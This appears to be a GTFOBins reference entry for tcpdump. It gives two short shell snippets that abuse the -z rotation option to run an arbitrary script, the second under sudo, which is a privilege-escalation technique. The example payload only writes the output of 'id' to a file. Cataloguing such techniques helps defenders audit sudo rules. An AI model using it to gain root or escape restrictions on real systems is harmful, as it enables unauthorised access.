GTFOBins.github.io/_gtfobins/tcpdump.md
2018-08-31 11:29:36 +02:00

486 B

description functions
These require some traffic to be actually captured.
execute-non-interactive sudo-enabled
code
COMMAND='id > /tmp/output' TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
code
COMMAND='id > /tmp/output' TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF